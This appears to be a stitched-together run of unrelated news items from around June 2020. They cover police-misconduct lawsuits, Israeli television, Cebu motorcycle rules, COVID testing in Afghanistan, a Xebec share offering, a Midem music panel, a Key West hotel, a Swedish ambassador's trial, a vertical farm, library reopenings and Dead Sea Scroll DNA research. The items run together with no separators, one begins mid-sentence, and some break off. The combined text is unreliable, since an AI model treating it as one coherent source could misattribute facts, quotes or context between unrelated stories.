succession planning results in multimillion-dollar lawsuits in cities."In Sorrento, La., for example, a newly hired cop in 2013 slammed into another car on a highway after going on a high-speed chase to catch a separate driver who was speeding. The driver who was hit sued. It was later revealed that the officer was already one of the town's most zealous issuers of speeding tickets, hundreds of which were later thrown out in court.That incident, combined with other lawsuits against the police department serving the small town of 1,500 people, prompted the city's insurer to drop its coverage . The town disbanded its police department shortly thereafter.Some small towns have been able to make a turnaround before losing insurance. Last year, University of Chicago law professor John Rappaport detailed examples of such efforts ranging from new training and supervision of SWAT teams in Wisconsin after botched raids, to firing a police chief in Tennessee.Still, says Eichenthal, governments shouldn't wait until the threat of bankruptcy or losing insurance forces them to start looking at what causes misconduct. "I used to have a boss who'd say it's cheaper to build a guardrail at the top of a cliff than station an ambulance at the bottom," he says. "It's really about building those guardrails in the right places."
For many years, Nordic noir was the dominant force in foreign-language television. Hits such as The Bridge and Borgen wooed British audiences with their melancholic landscapes, taut dialogue and impressive knitwear.

But this small-screen pre-eminence has been replaced by offerings from a country that could not be further removed from the introversion and cautious pacing of Nordic TV. Israel is in some ways the anti-Scandinavia. The weather is hot, the people outspoken, the history bloody and disputed.

Chaos in Arabic, Fauda chronicles a bloody game of cat and mouse between Israeli counter-intelligence soldier Doron (Lior Raz) and a Hamas terrorist The Panther (Hisham Suliman). Credit:Netflix

Yet as a source of must-see television, the country has emerged as an international force to be reckoned with. And it has done so while avoiding becoming locked into a particular genre. Nordic TV can often seem to consist of different flavours of the same fatalistic murder mystery format. In Israel, by contrast, diversity is the watchword. From action to comedy via human-interest drama, anything goes.

There are gripping thrillers such as mistaken-identity slow-burner False Flag and West Bank-set Netflix hit Fauda, which has just returned to the streaming service for a hugely anticipated third season. But Israel is also serving up escapist romcoms such as the brilliantly whimsical Beauty and the Baker, which has proved a surprise sensation on Amazon Prime. (The US adaptation, The Baker and the Beauty, airs on Stan. Nine is the owner of Stan and this masthead.)
(CNN Philippines, June 5)  Cebu Governor Gwen Garcia announced Friday she will withdraw the two-day-old executive order allowing back-riding on motorcycles within the province, shortly after President Rodrigo Duterte said that is still prohibited.

Garcia said she heard the Presidents statements and will abide by his directive.

"Yes, I have already advised them (provincial board) nga di lang usa nila, i-defer lang usa na kay I will withdraw my EO in deference sa sulti sa Presidente," Garcia said in an interview this morning over local radio station dyLA-AM.

[Translation: Yes, I have already advised them not now, they should defer it because I will withdraw my EO in deference to what the President said].

Duterte turned down the request of the local official in a taped public address aired on Friday: As much as I would like to accommodate Governor Garcia, if I begin to give exception to one, I will open myself to charges of anti-graft law.

Garcia signed on Wednesday Executive Order 19, allowing private motorcycle owners to have one passenger or back rider, contrary to the guidelines set by the Inter-Agency Task Force.

Transportation Secretary Arthur Tugade said on Saturday that the policy against back-riding on motorcycles will remain in areas under general community quarantine, such as Cebu province.

He said back-riding, even of married couples, cannot be allowed so as to ensure the driver and passenger keep enough space from each other to prevent the spread of the coronavirus disease.

Pilion riding is seen to decongest public utility vehicles, which operate at reduced capacity in areas under GCQ.

Cebu-based Stringer Dale Israel contributed to this report
(JNS)  Israeli media and their left-wing anti-Netanyahu allies have been anticipating for years the moment Benjamin Netanyahu would be dragged into a courtroom. Unable to beat Israels longest-serving prime minister at the polls, many have looked to a politically left-leaning legal system to get him out of office.

Many pundits eagerly anticipated pictures of a guilt-ridden former prime minister, defeated at the ballot box, sitting depressed on the wooden benches of the Jerusalem District Court. Yet, at Sundays arraignment hearing marking the start of the official legal proceedings a...
Many of the federal officers have been spotted without name tags and in uniforms that do not say which agency they represent. D.C. police are required to wear name tags, even when dressed in riot gear. Many of the federal officers carry shields that say only military police or acronyms not readily familiar to civilians, such as S.O.R.T, which is the Bureau of Prisons Special Operations Response Team. And many have refused to identify what agency they represent to reporters.
By PTI

KABUL: A prominent international aid organisation has warned that Afghanistan is on the brink of a humanitarian disaster because the government is unable to test at least 80% of possible coronavirus cases.

The International Rescue Committee on Tuesday said COVID-19, the illness caused by the virus, is rapidly spreading undetected through Afghanistan.

The IRC said the number of confirmed new cases rose by 684% in May, but the country's extremely low testing capacity means many people are going untested.

Vicki Aken, Afghanistan country director at the IRC, told The Associated Press there are many concerns about the spread of the virus in Afghanistan, but the lack of testing is crucial.

"We know that they're clearing less than a thousand tests today each day," she said.

"But recent reports from the Ministry of Public Health had said that they were testing ten to twenty thousand people. I am concerned about the rate of people testing positive and of the health workers in particular."

International health care professionals have warned that a large outbreak of the virus in Afghanistan could overwhelm its health care infrastructure, already wrecked by decades of war.

Despite billions of dollars in international investment, much of it from the US, massive government corruption has left resources depleted, institutions dysfunctional, and the health care system ill-equipped to deal with even basic ailments.

Afghanistan's Ministry of Health says it only has the capacity to test 2,000 people per day, but are receiving between 10,000 and 20,000 samples each day.

That means up to 90% of potentially infected people are not being tested.

And at 40%, Afghanistan has one of the highest rates of positive tests of all the countries where the IRC works, the organisation said.

Aken said Afghanistan wasn't prepared to respond to a health crisis of this magnitude.

"We want to do everything that we can to support them, particularly at the provincial level, which doesn't get the resources that it needs," she said.

Afghans have become increasingly poor, with 54% of the population earning less than $1.90 a day in 2019.

That amount is likely less since the advent of the pandemic.

Officially, the country has about 16,400 confirmed coronavirus cases with more than 270 deaths.

"I think it's definitely an under-reporting of what is going on, but it's also their reporting on what their capacity is," Aken said.

"They can only report on the positive tests and they only have the ability to do so many tests."

In the early weeks of the pandemic, many Afghans complained of being turned away when seeking tests at health facilities and many who were tested sad they were told their results were lost.

It took weeks for health care staff to get enough protective gear, leaving them afraid to treat patients.

The IRC called on the international community to work with Afghanistan to improve its testing capacity and to increase direct support for front-line responders like the IRC.
NOT INTENDED FOR DISTRIBUTION TO UNITED STATES NEWSWIRE SERVICES OR DISSEMINATION IN THE UNITED STATES.



MONTREAL, June 05, 2020 (GLOBE NEWSWIRE) -- Xebec Adsorption Inc. ("Xebec" or the "Corporation") (XBC.V) is pleased to announce that in connection with its previously announced bought deal public offering of Common Shares, the Corporation and a syndicate of underwriters led by Desjardins Capital Markets (collectively the Underwriters) have agreed to increase the size of its previously announced Offering from $21,006,000 to $25,002,000. Pursuant to the amended terms, the Underwriters have agreed to purchase, on a bought deal basis, 6,945,000 Common Shares of the Corporation (the Common Shares) at a price of $3.60 per Common Share (the Offering Price) for aggregate gross proceeds to Xebec of $25,002,000 (the Offering).

The Corporation has granted the Underwriters an option (the Over-Allotment Option), exercisable, in whole or in part, at any time until and including 30 days following the closing of the Offering, to purchase up to an additional 15% of the Offering at the Offering Price to cover over-allotments, if any. If the Over-Allotment Option is exercised in full, the total gross proceeds of the Offering will be $28,752,300.

The Common Shares will be offered by way of short form prospectus to be filed in each of the provinces of Canada and in the United States by way of private placement pursuant to the exemption from registration provided for under Rule 144A of the United States Securities Act of 1933, as amended, and in such other jurisdictions outside of Canada and the United States as are agreed to by the Corporation and the Underwriters, in each case provided that no prospectus, registration statement or other similar document is required to be filed in such jurisdiction and that the Corporation will not be or become subject to any continuous disclosure obligations in such jurisdiction.

The Corporation intends to use the net proceeds from the Offering to develop and invest in new renewable gas projects, to pursue strategic growth initiatives and for general corporate purposes.

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As previously announced, in a separate transaction that is expected to close concurrently with the Offering, Mr. Kurt Sorschak, Chairman, President and CEO, Mr. Louis Dufour, CFO and Dr. Prabhu K. Rao, COO and Director (collectively the Selling Shareholders) will be selling to the Underwriters an aggregate of 2,500,000 common shares of the Corporation, on a block trade, prospectus-exempt basis, at the Offering Price for total gross proceeds to the Selling Shareholders of $9,000,000 (the Concurrent Block Trade). The Concurrent Block Trade will not be upsized. Following the Concurrent Block Trade, the Selling Shareholders will collectively continue to own approximately 7,508,455 common shares of the Corporation. The completion of the Concurrent Block Trade is conditional upon the completion of the Offering.

The Offering is expected to close on or about June 26, 2020 (the "Closing Date) and is subject to certain conditions including, but not limited to, the receipt of all necessary regulatory and stock exchange approvals, including the approval of the TSX Venture Exchange and the applicable securities regulatory authorities.

This press release shall not constitute an offer to sell or the solicitation of an offer to buy nor shall there be any sale of the securities in the United States or in any other jurisdiction in which such offer, solicitation or sale would be unlawful. The securities have not been registered under the U.S. Securities Act of 1933, as amended, and applicable U.S. state securities laws and may not be offered or sold in the United States absent registration or an applicable exemption from the registration requirements thereunder.



For more information:

Xebec Adsorption Inc.

Brandon Chow, Investor Relations Manager

bchow@xebecinc.com

1. 450.979.8700 ext 5762

Kurt Sorschak, President and Chief Executive Officer

ksorschak@xebecinc.com

About Xebec Adsorption Inc.

Xebec is a global provider of gas generation, purification and filtration solutions for the industrial, energy and renewables marketplace. Well-positioned in the energy transition space with proprietary technologies that transform raw gases into clean sources of renewable energy, Xebecs 1500+ customers range from small to multi-national corporations, governments and municipalities looking to reduce their carbon footprints. Headquartered in Montreal, Quebec, Canada, Xebec has several Sales and Support offices in North America and Europe, as well as two manufacturing facilities in Montreal and Shanghai. Xebec trades on the TSX Venture Exchange under the symbol XBC. For more information, www.xebecinc.com .

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Statement

This news release contains forward-looking statements and forward-looking information (together, forward-looking statements) within the meaning of applicable securities laws. All statements, other than statements of historical facts, are forward-looking statements, and subject to risks and uncertainties. Generally, forward-looking statements can be identified by the use of terminology such as plans, seeks, expects, estimates, intends, anticipates, believes, could, might, likely or variations of such words, or statements that certain actions, events or results may, will, could, would, might, will be taken, occur, be achieved or other similar expressions. Forward-looking statements, including statements concerning future capital expenditures, revenues, expenses, earnings, economic performance, indebtedness, financial condition, losses and future prospects as well as the expectations of management of Xebec with respect to information regarding the business and the expansion and growth of Xebec operations, involve risks, uncertainties and other factors that could cause actual results, performance, prospects and opportunities to differ materially from those expressed or implied by such forward-looking statements. Forward-looking statements are subject to business and economic factors and uncertainties, and other factors that could cause actual results to differ materially from these forward-looking statements, including the relevant assumptions and risks factors set out in Xebec's public documents, including in the most recent annual management discussion and analysis and annual information form, filed on SEDAR at www.sedar.com. Furthermore, should one or more of the risks, uncertainties or other factors materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those described in forward-looking statements or information. These risks, uncertainties and other factors include, among others, the uncertain and unpredictable condition of global economy, notably as a consequence of the Covid-19 pandemic, statements concerning the intended use of proceeds from the Offering and the expected closing date of the Offering and Concurrent Block Trade, Xebecs capacity to generate revenue growth, the availability to Xebec of financing and credit alternatives and access to capital, Xebecs capacity to meet all its other commitments and business plans, Xebecs limited number of customers, the potential loss of key employees, share price volatility, and other factors. Although Xebec believes that the assumptions and factors used in preparing the forward-looking statements are reasonable, undue reliance should not be placed on these statements, which only apply as of the date of this news release, and no assurance can be given that such events will occur in the disclosed times frames or at all. Except where required by applicable law, Xebec disclaims any intention or obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise.
Create Once, Earn Forever: Midem Digital Edition Panel Explores How Early Adoption, Revenue Gathering Leads To Long-Term Success

Now more than ever, its time to innovate, says Canadian CMO executive and moderator Veronica Syrtash, kicking off this panel on new, thought-provoking ways for artists to find new opportunities and revenue streams. This Midem panel is open to all thanks to the Midem Digital Edition.

The three panelists are experts in specific, rapidly evolving areas in licensing, sync, and streaming content monetization. In building their companies, they all saw opportunities in digital music and new formats, turning online and multimedia content into cornerstones of a new music business model. Now, in the wake of worldwide changes due to COVID-19, they dig deep into the shifts in their areas of expertise and how artists, managers, labels, and rights holders can seize any and all opportunities.

The crisis has accelerated innovation at many partner platforms, which are rolling out artist-centered focus to make up for the near-total collapse of live performance revenues. We see a lot of our partners creating more content, putting out more videos and songs. Were also trying to help them with other sides of the business, recounts Roy LaManna of Vydia. Due to our relationships with DSPs like Facebook or Twitch. Facebook Live has a new live monetization feature, something theyve always had in the mix, but that theyve accelerated due to COVID. Were trying to meet with and have discussions with all our partners and figure out what solutions they are coming up with and who in our client base fits that. Theres not one solution, but there are various solutions partners are coming up with to get [artists] through this period.

One of the things we decided to do is create a free solution for artists, so they didnt have to put a credit card in or put up any money to distribute their music.

This is the time to focus on taking care that all your music is out there, to finish music and get more music out there.

Now is the time, the panelists urge artists, to distribute, register, and monetize their work. When I was a musician that lived gig to gig, when it was 1995 or so, if we had had a pandemic then it would have been impossible to make any money, says Paul Wiltshire of Songtradr. We do have this wonderful thing called the internet now and so much opportunity coming out of that. Theres more time to spend uploading your music to different opportunities. This is the time to focus on taking care that all your music is out there, to finish music and get more music out there. We are seeing significant growth of distributed music, four times as much in the last month [April] compared to March. This is a time to channel your feelings into those masterpieces.

Its also the perfect time to maximize their potential income by gathering all the diverse, if still small streams together into a growing pool of revenue in the long run. The early adopters on a new platform tend to benefit the most, says LaManna, when and if that platform takes off. And its not all bad news: Some verticals are experiencing a boom time, and some a pause, notes Wiltshire.

There are opportunities now because of digital music to have all these new revenue streams.

As Darryl Ballantyne of LyricFind pointed out, its all additive. In many cases, its not that innovation is simply replacing older approaches or formats, Ballantyne explains, but that a new revenue stream has been added to more traditional ones, as is the case with many lyric uses, including licensed translations, allowing artists to create once, earn forever.

There are opportunities now because of digital music to have all these new revenue streams, he continues. Its created a situation where were in a unique time of a shared global experience in going through this. That connects all the world in a way weve never been connected before. Were all in this together, fighting a common enemy.

For more than 50 years, Midem has brought the global music community together in Cannes. This year, Midem Digital Edition (June 2-5) will feature 264 speakers from 48 countries, 64 sessions, and 23 livestreamed keynote sessions, talks, and presentations.

Register for all of the full sessions here: https://www.midem.com/en-gb/midem-digital-edition.html

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During the COVID-19 quarantine, hotels in Key West were ordered to close during the third week of March as a safety precaution to visitors. On June 1, 2020, Ocean Key Resort & Spa opened its doors, offering a luxurious oceanfront experience between Key West Harbor and Mallory Square.

Of all hotels in Key West, Ocean Key is located in the most ideal spot, along the Sunset Pier on Duval Street. Guestrooms and suites overlook the pristine waters of the Gulf of Mexico and the Atlantic Ocean. The hotels waterfront pool and location allow you to customize your Key West vacation, whether you want to take advantage of the citys nightlife and live music or relax by the water with a drink in hand.

Photos Courtesy / Ocean Key Resort & Spa

Upon arrival at the valet, guests are greeted with a welcome cocktail from a small bar in the hotels lobby adjacent to the retail shop, offering a variety of island apparel and accessories. From there, guests make their way to their rooms which are incredibly spacious with pastel-colored walls, dark woods and coastal decor. Each room offers an expansive balcony, overlooking sailboats and the Sunset Pier. The bathrooms have a jacuzzi tub and double sinks, in addition to a walk-in shower.

The pier originated in the late 1830s shortly after Key West was founded, serving multiple uses during the Civil War, Spanish American War and specifically, when Henry Flaglers railroad failed in the 1930s. Prior to the damage caused by Hurricane Irma, the Sunset Pier was the oldest continuously used structure in the Florida Keys. The pier reopened this spring after being renovated and is home to a popular restaurant, serving casual beach bites and live music nightly.

Photo Credit: Rob O'Neal, Ocean Key Resort & Spa

Days at Ocean Key can be action-packed or relaxing. Guests can enjoy the view from their balcony or the pool bar, or opt for a fun excursion via jet ski. Barefoot Billys watersports offers a 90-minute jet ski tour of the island along the pristine waters of the Gulf of Mexico and the Atlantic Ocean. The helpful guides stop along the way to point out notable attractions including Mallory Square, the Southernmost Point, historic Key West Bight, and Sunset Key.

Photos Courtesy / Ocean Key Resort & Spa

After bathing in the sun all day or enjoying a relaxing facial at the hotels SpaTerre, guests typically gather at the hotels AAA Four-Diamond Award restaurant - Hot Tin Roof to watch the sun go down. The restaurant was named after a Tenessee Williams play, as he lived in Key West. Theres an indoor dining room with large windows facing the pier and a wrap-around deck for meals al fresco. Be sure to order a traditional Daiquiri with Papa Pilar rum, which is local to Key West, while you wait for your table. Its worth it to snag a spot on the patio during sunset. Menu highlights include Spicy Tuna Tacos with avocado and sriracha aioli, traditional paella made with Valencia rice, saffron, lobster, mussels, clams, shrimp, chorizo, peas, peppers and Scallop Risotto, a cheezy combination of tasso ham, fresno chile and mascarpone.

If youd rather take in the sunset view on the water, Fury Key West offers a scenic catamaran tour called Commotion on the Ocean, which includes live music, a buffet of island-inspired appetizers and unlimited drinks. By the time you exit the boat, youre ready to take on Key Wests nightlife!

Photos Courtesy / Ocean Key Resort & Spa
The Rev. Earl Harris had a $20 bill in his pocket and an abundance of optimism in 1964 when he, as a young activist with the Student Nonviolent Coordinating Committee, was assigned to register blacks to vote in Hollandale, Miss.

The committee at the time aligned itself with the non-violence rhetoric espoused by the Rev. Martin Luther King, Jr., Harris remembers. He recalls the social unrest and tension of the time.
A New York judge has ruled that looters and peaceful protesters who violate curfew may be detained by police for more than 24 hours even if they are not arraigned before a court, citing the coronavirus pandemic and current civil unrest in New York City.

New York law typically requires that arrested suspects be released if they cannot be arraigned within 24 hours. Because of the pandemic, New York courts must hold arraignments via video conference. Holding facilities in New York City have seen a sharp increase in suspects arrested either for looting or peacefully protesting after an 8 p.m. curfew, and the legal system has been unable to speedily process their arraignments.

Ifind that there is a crisis within a crisis specifically a civil unrest crisis within the overarching COVID-19 crisis, acting Manhattan Supreme Court Justice James Burke said at a hearing on Thursday. To that end, the entire police department has been deployed and the entire Manhattan DAs office is all hands on deck and working to relieve the system.

Burke said that delays in processing arraignments were justified given the dual crises.

The NYPD has no excuses with its 38,000 police officers and the best technology in the world, with all the money they are being given, they have no excuse to not process them in a timely manner, countered Marlen Bodden, an attorney for the group Legal Aid that had petitioned for the release of suspects in George Floyd demonstrations.

Over the past week, looters have taken advantage of the demonstrations to pillage stores in various New York City neighborhoods, with some concentrating on the wealthy neighborhoods of Soho and Midtown Manhattan.

More from National Review
Swedens former ambassador to Beijing goes on trial in Stockholm on Friday accused of overstepping her mandate by trying to negotiate the release of a Chinese-Swedish dissident held in China.

Anna Lindstedt is accused of brokering an unauthorised meeting during her time as ambassador to get publisher Gui Minhai freed.

Prosecutor Henrik Olin laid out his case during Fridays hearing, telling the court: Anna Lindstedt was at the time Swedens ambassador to China, but acted outside the bounds of the mandate she had for the consular case.

He said the crime had endangered Swedens peaceful relations with China.

But defence lawyer Conny Cedermark replied that the only part of the prosecutions description his client agreed with was that Anna Lindstedt at the time was Swedens ambassador in China.

Parts of the trial, which is set to run until June 22, will be held behind closed doors because of national security.

Strange experience

At the heart of the case against Lindstedt is a January 2019 meeting she helped organise between Gui Minhais daughter, Angela Gui, and businessmen with ties to Beijing.

Angela Gui, who has been actively campaigning for her fathers release, wrote in February 2019 on her blog about a strange experience where Lindstedt had invited her to Stockholm in January.

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During discussions in the lounges of a hotel in the Swedish capital, in the presence of Lindstedt, she was introduced to the businessmen who claimed they could help secure her fathers release.

In exchange, Angela Gui said she was told she needed to be quiet and to stop all media engagement, and she has later described the tone of the meeting as threatening.

Swedens intelligence service launched an investigation after reports of the meeting emerged.

The foreign ministry subsequently relieved Lindstedt, who was appointed as ambassador to China in 2016, of her duties but she has stayed on at the foreign ministry without an assignment.

Meanwhile, the foreign ministry has maintained that it had no prior knowledge of the meeting, saying Lindstedt acted of her own accord.

The ex-ambassador has refrained from making any public statements, but communicated through her lawyer that she denied the charges and welcomed an investigation.

In Lindstedts defence

Many fellow diplomats have rallied to her defence.

In February, a group of 21 former ambassadors wrote an op-ed in newspaper Dagens Nyheter, criticising the ministrys decision to report Lindstedt to the police and arguing that she had acted well within her rights and role as an ambassador.

Lindstedt faces a maximum sentence of two years in prison for the crime of arbitrariness during negotiations with a foreign power.
Stacked Farm, an Australian automated vertical indoor farm, has received international interest during the coronavirus pandemic amid concerns about the continuity of food supplies.

The farm produces salad greens and has the capacity for tomatoes and strawberries.

CEO Conrad Smith told Business Insider Australia Stack Farm received significant interest from the Middle East.

Visit Business Insider Australias homepage for more stories.

Aussie company Stacked Farm, a fully automated vertical indoor farm, has been gaining international interest amid the coronavirus pandemic.

Stacked Farm, founded in 2017, produces salad greens and herbs like lettuce and rocket, and has the capacity tp produce tomatoes and strawberries. It's even looking at testing out a type of blueberry next year.

The company has been receiving a lot of interest during the coronavirus pandemic amid concerns about virus clusters breaking out in the food supply chain. Back in May, a coronavirus cluster broke out at Melbourne's Cedar Meats abattoir, which was linked to 62 cases, according to the ABC.

"People are more concerned than ever about who is handling their food, where its coming from and how many stops it made before arriving on supermarket shelves," Stacked Farm CEO Conrad Smith said in a statement.

The company is headquartered in Burleigh Heads, Queensland and has plans to open up farms across Australia as well. "A scaled-up farm in Victoria will be our first major commercial farm," Smith told Business Insider Australia. Its farm is fully automated, with the produce packed and sealed once its harvested by robotic farming.

"It doesnt pass through the usual supply chains either  greens and herbs can go directly to wholesalers, retails, hotels and restaurants, unlike traditional produce which passes through a number of hands before reaching our shelves," Smith said in a statement.

Stacked Farm has a partnership with fresh produce supplier Morco Fresh and counts Dnata as one of its clients as well, which provides aircraft services like flight catering.

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"We are not too dissimilar to a normal farm where we go through markets and we go through wholesalers and food service distributors," Smith said.

And while it mainly supplies to the food service industry, Stacked Farm is looking at a move into retail so people can grab its produce from supermarket shelves as well. "We haven't got the capacity to do that at the moment," Smith said. "But when we scale up to our Victorian farm, we will certainly have the capacity to do that and we'll be looking for retail partners to jump on the journey that we're on."

The farms are temperature controlled and automated

Stacked Farm grows its produce 12 months a year, without relying on different seasons. Its products are grown in a temperature-controlled environment that is fully automated from seeding to harvesting. The company is looking at post-harvest automation as part of its next business phase.

Stacked Farm also makes barley-based livestock feed. "In a drought-vulnerable country like Australia, there's a lot of opportunity there because while we all think about human consumption, animals are a massive part of the food chain that needs to be considered," Smith said.

The company's employees are mainly in the science and tech field rather than traditional farm labourers.

"We're not like traditional farms where we require pickers, packers and harvesters," Smith said. "We employ more labour leaning towards engineering, software engineering, mechanical engineering, CAD designers [and] horticultural scientists."

The company has been receiving interest from the Middle East

Stacked Farm has received international interest in its farm during the coronavirus pandemic, mainly thanks to concerns over food safety, quality and security.

"There's a lot of food chains that have been broken throughout this COVID-19 pandemic, and we've had interest from the Middle East to set up farms there," Smith said.

"We have been very enthused by the interest from particularly a couple of states in the Middle East that have governments that really support local industry and local farming." Smith gave the example of Dubai which relies predominantly on imports. According to Bloomberg, the United Arab Emirates imports up to 90% of its food.

Smith explained that in Dubai, "a lot of produce can't travel by sea".

"They've immediately recognised that there's a problem in their food chain and they need to bring tech businesses to their country to support feeding their people." And, in the case of Stacked Farm, can help feed livestock too.

Smith added that Stacked Farm can support the future of food production, particularly in extremely hot and dry or extremely cold climates. He explained that one in nine people go hungry around the world. According to the Food and Agriculture Organisation of the United Nations, by 2050 world food demand is expected to rise by 70%.

"Having urban indoor vertical farms is definitely [an] exciting prospect for the future," Smith said. "We can literally shave days off out of the logistics process, we can extend the shelf life of products so there's less wastage and that in turn will benefit the community."
Enough with piracy

Publishers have finally had it with the Internet Archive's Open Library, which lends scanned copies of books without permission, thus ripping off the legal copyright owners: authors and publishers.

With the arrival of COVID-19, IA created what it described as a National Emergency Library and removed download restrictions on 1.4 million books on its site. Author organisations from the US, Australia and Britain objected  as they did when IA dreamed up its so-called Controlled Digital Lending  but were told, again, that IA would deal only with individual authors.

Publishers have finally had it with the Internet Archive's Open Library. Credit:iStockphoto.com

This week Hachette, Penguin Random House, HarperCollins and Wiley have taken legal action, calling for a district court in New York to block "IAs mass scanning, public display, and distribution of entire literary works". The Association of American Publishers said "the sheer scale of IA's infringement described in the complaint  and its stated objective to enlarge its illegal trove with abandon  appear to make it one of the largest known book pirate sites in the world".
Anuraag Singh By

Express News Service

BHOPAL: As many as 16 cops posted at the Chinor police station in Gwalior district of Madhya Pradesh have been quarantined, after a Special Armed Force (SAF) jawan temporarily posted in the polices stations jurisdiction tested positive for the COVID-19.

The SAF constable of 25th Battalion in Bhopal hails from Banwar village of Gwalior district.

He had arrived to the village on leave in March when the nationwide lockdown was announced. As per the Director General of Police (DGP) order directing cops stuck in various places due to lockdown could join duties at the nearest police station, the concerned SAF constable started working at Chinor police station.

He was subsequently posted in his own village to ensure total lockdown was followed in the market there. When the lock-down was ended, he resumed duties at the 25th SAF Battalion HQ in Bhopal, where he tested positive for the COVID-19 on June 1. Subsequently, at least seven cops of Chinor police station in Gwalior, who daily came in his direct contact were institutionally quarantined, while nine other cops at the police station, including the in-charge and a woman constable, were home quarantined in the police station campus only, additional SP (ASP-Gwalior Rural) Surendra Singh Gaur told The New Indian Express.

With just one cop left at the Chinor police station after quarantining of 16 cops, the staff is now headed by a sub-inspector was sent from another police station. The police station, despite crunch of staff has started functioning after sanitization, the ASP added.
HURON COUNTY  Area libraries will be able to reopen Monday, and local librarians are both eager and cautious.

It is such a relief, Bad Axe Area District Library Director Mimi Herrington said Thursday. I was disappointed when (the stay home, stay safe order was) extended to June 12. It felt helpless not providing services for two and a half months.

Expect the library to be open at 10 a.m. on Monday morning, but do not think about going inside.

We will be open to public Monday through Friday from 10 a.m. to 6 p.m. and 10 a.m. to 2 p.m. on Saturday for curbside service, Herrington said. "We are not letting the public in.

Instead, people are asked to call the library or hop on its website to reserve materials. Herrington asked that patrons call upon arrival to let librarians know they are at the building. Reading materials will be delivered to recipients. Staff will be wearing personal protective equipment and it is asked that patrons follow suit.

Unlike other area libraries, Herrington will allow staff to fax, print off, and make copies for patrons. If someone needs something printed, they may email it over or call it in.

We will do whatever we can to help, Herrington said.

Lined up activities include the summer reading program, set for kick-off on June 22.

We are asking for kids to read 30-minutes every day, Herrington said. It is important for kids to keep reading throughout summer. I am hoping parent will enroll kids. We are really pushing the summer reading program.

The director expressed concern over the negative impact not reading could have on students returning to school this upcoming academic year, especially after physically being out of school for the past couple months.

The program will come with a few changes this year. Enrollment will be done online, and activity packets will be made available for pick up at the library.

Taped stories, narrated by Jean Sommers, will be accessible from the library's website.

A special production from a group known as Acting Up Theatre will be accessible via zoom. Links can be found on the librarys Facebook page and website.

Another option for young patrons is the free library. Childrens books pulled from circulation have accumulated greatly. Kids are invited to take a book or bring one back and replace it with another.

Herrington would like to remind patrons that the library did away with late fees at the beginning of the year.

If someone is late, there will be no fines, Herrington said.

She added that the Michigan eLibrary Catalog is not open for circulation just yet. Therefore, books from other locations may not be ordered. There is no official word on when circulation will open.

Pigeon District Library Director Jane Himmel announced it would be opening June 3 with a letter to patrons on the librarys website and Facebook page.

In effort to maintain safety, Himmel is also asking patrons to follow safety precautions when picking up materials. Measures include a service window, where patrons will receive orders through.

One stipulation is that the window is just for pick-up, Himmel said.

The window is located at the side of the building on Nitz Street, next to the main entrance.

Staff is asking that patrons request books by calling them in or making reservations online. Their names will then be put on a list, so that staff may scan the item barcode and prepare the order for pick-up. When returning a book, be sure to use the book deposit box.

Staff will be wearing masks and gloves when providing customer service.

This is the safest approach because no one is coming into the library, Himmel said.

Expect regular hours of operation, beginning Monday at 9 a.m.

Both directors look forward to serving the public in a safe manner.
Finance Minister Taro Aso said Thursday that Japan's relatively low mortality rate from the new coronavirus reflects the country's higher "level of social manners."

"I have received phone calls (from overseas) asking 'Do you have any drug that only you guys have?' My answer is the level of social manners is different, and then they fall silent," said Aso, who doubles as deputy prime minister, at a parliamentary session in the House of Councillors.

Japan has seen about seven deaths from the coronavirus for every 1 million residents, Aso said, a level far below the United States, Britain and France.

"The United States imposed fines on people who broke lockdown rules, and France did so too. But we didn't have to do such a thing, and we made it only by requesting" that people suspend nonessential businesses and stay at home, Aso said. "We should be very proud of this."

According to data from Johns Hopkins University, the COVID-19 mortality rate per 100,000 people was 0.72 in Japan, while it was 32.76 in the United States, 43.33 in France, and 59.88 in the United Kingdom as of Wednesday. The rate was relatively low in Asia, with China at 0.33 and Thailand at 0.08.

Japan has avoided an explosive surge in coronavirus infections so far, with about 17,600 cases and more than 900 deaths as of Wednesday.
Congress chief spokesperson Randeep Singh Surjewala on Friday attacked the BJP-JJP government in Haryana for its new rice shoot policy, terming it as anti-farmer.

The rice shoot policy was primarily instituted to provide extra water to paddy growers during the monsoon.

Referring to the anti farmer conditions in the new policy, Surjewala said according to the policy, no rice shoot will be permitted on all channels in Haryana which has a discharge of less than 10 cusecs of water. Rice shoot fee has been increased by 100 % to Rs 300 per acre. Rice shoots will not be provided in Haryana on less than 20 acres of land. There will also be a condition that paddy cannot be planted in more than 15 acres of land out of those 20 acres. The new rice shoots have been completely eliminated in the Bhakra Command system with the exception of areas where the Yamuna or Ghaggar river water is available, he said.

The quantity of water allocated every year for rice shoots in districts like Yamunanagar, Karnal, Panipat, Jind and Rohtak through Western Jamuna Canal system will get reduced from the existing water share of 25 % to 3 % by 2024, he said.

Surjewala said it seems that the BJP-JJP government wanted to lock out farmers of Kaithal, Jind, Kurukshetra, Karnal, Ambala and Yamunanagar districts by creating obstacles and restrictions for farming in northern Haryana.

Quoting the agriculture department data, Surjewala said paddy is cultivated on 35.13 lakh acres in Haryana and the state produces about 5 million tonnes every year. However, the latest rice shoot policy issued on June 3 intends to destroy paddy cultivation. The goal of this rice shoot policy seems to completely eliminate paddy cultivation in Haryana and hit the farmer hard, he alleged.

The Congress leader said on one hand the state government shelved the Dadupur Nalvi recharge canal project and on the other rice shoots were being stopped. Why is it so when excess water is available during the rainy season? Will it not encourage ground water exploitation via tube-wells. It is clear that the BJP-JJP government is following the policy of taking two steps forward and two hundred steps back, he said.
An innovative DNA fingerprinting technique using ancient sheep and cattle DNA provided new insights on the Dead Sea Scrolls and the Essenes social fabric. The Essenes are an ancient Jewish sect of ascetics from whom the Dead Sea Scrolls are attributed. (Photo : Pixabay)

An innovative DNA fingerprinting technique using ancient sheep and cattle DNA provided new insights on the Dead Sea Scrolls and the Essene's social fabric. The Essenes are an ancient Jewish sect of ascetics from whom the Dead Sea Scrolls are attributed.

The study has been published in the journal Cell by Tel Aviv University George S. Wise Faculty of Life Sciences professor Oded Rehcavi, Tel Aviv University Department of Biblical Studies professor Noam Mizrahi, and colleagues.

Rehcavi and Mizrahi have developed the new DNA sequencing technique, which will let them match and distinguish the minuscule fragments that compose the scrolls. It helps in placing the pieces in their correct and proper context, as shared by the University of Birmingham Hebrew Bible & Second Temple Judaism professor Charlotte Hempel. According to Bar-Ilan University science historian Oren Harman, things that were not previously seen with the use of traditional literary, archaeological, and historical references have been brought to light by the new technique.

